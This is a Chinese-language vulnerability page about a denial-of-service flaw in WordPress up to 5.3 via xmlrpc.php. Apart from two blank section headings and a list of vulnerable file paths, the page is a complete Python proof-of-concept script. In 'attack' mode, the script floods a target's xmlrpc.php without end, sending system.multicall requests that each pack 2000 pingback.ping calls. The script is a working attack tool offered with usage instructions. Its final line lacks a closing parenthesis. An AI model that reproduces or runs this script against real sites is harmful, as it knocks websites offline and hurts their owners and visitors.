跳转至

WordPress \<=5.3.x xmlrpc.php拒绝服务漏洞

一、漏洞简介

二、漏洞影响

WordPress \<= 5.3

三、复现过程

漏洞文件

/wordpress/xmlrpc.php
/wp/xmlrpc.php
from urllib.parse import urlparse
import sys, uuid, urllib3, requests
urllib3.disable_warnings()

DEBUG = True 
def dprint(X):
    if DEBUG: print(X)

COUNT=0
def build_entry(pingback,target):
    global COUNT
    COUNT +=1
    entry  = "&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;methodName&lt;/name&gt;&lt;value&gt;pingback.ping&lt;/value&gt;&lt;/member&gt;&lt;member&gt;"
    entry += f"&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;&lt;value&gt;{pingback}/{COUNT}&lt;/value&gt;"
    #entry += f"&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;&lt;value&gt;{pingback}/{uuid.uuid4()}&lt;/value&gt;"
    entry += f"&lt;value&gt;{target}/?p=1&lt;/value&gt;&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;"
    #entry += f"&lt;value&gt;{target}/#e&lt;/value&gt;&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;" # taxes DB more
    return entry

def build_request(pingback,target,entries):
    prefix   = "&lt;methodCall&gt;&lt;methodName&gt;system.multicall&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;array&gt;"
    suffix   = "&lt;/array&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;"
    request  = prefix
    for _ in range(0,entries): request += build_entry(pingback,target)
    request += suffix
    return request

def usage_die():
    print(f"[!] Usage: {sys.argv[0]} &lt;check/attack&gt; &lt;pingback url&gt; &lt;target url&gt;")
    exit(1)

def get_args():
    if len(sys.argv) != 4: usage_die()
    action   = sys.argv[1]
    pingback = sys.argv[2]
    target   = sys.argv[3]
    if action not in ("check","attack"): usage_die()
    for URL in (pingback,target):
        res = urlparse(URL)
        if not all((res.scheme,res.netloc)): usage_die()
    return (action,pingback,target)

def main(action,pingback,target):
    print("[&gt;] WordPress &lt;= 5.3.? Denial-of-Service PoC")
    print("[&gt;] @roddux 2019 | Arcturus Security | labs.arcturus.net")
    # he checc
    if action == "check":    entries = 2
    # he attacc
    elif action == "attack": entries = 2000
    # but most importantly
    print(f"[+] Running in {action} mode")
    # he pingbacc
    print(f"[+] Got pingback URL \"{pingback}\"")
    print(f"[+] Got target URL \"{target}\"")
    print(f"[+] Building {entries} pingback calls")
    # entries = 1000 # TESTING
    xmldata = build_request(pingback,target,entries)
    dprint("[+] Request:\n")
    dprint(xmldata+"\n")
    print(f"[+] Request size: {len(xmldata)} bytes")
    if action == "attack":
        print("[+] Starting attack loop, CTRL+C to stop...")
        rcount = 0
        try:
            while True:
                    try:
                        resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
                        #dprint(resp.content.decode("UTF-8")[0:500]+"\n")
                        if resp.status_code != 200:
                            print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
                    except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
                        pass
                    rcount += 1
                    print(f"\r[+] Requests sent: {rcount}",end="")
        except KeyboardInterrupt:
            print("\n[&gt;] Attack finished",end="\n\n")
            exit(0)
    elif action == "check":
        print("[+] Sending check request")
        try:
            resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
            if resp.status_code != 200:
                print(f"[!] Received odd status ({resp.status_code}) -- check target url")
            print("[+] Request sent")
            print("[+] Response headers:\n")
            print(resp.headers)
            print("[+] Response dump:")
            print(resp.content.decode("UTF-8"))
            print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
        except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
            print("[!] Connection error")
            exit(1)
        print("[&gt;] Check finished")

if __name__ == "__main__":
    main(*get_args()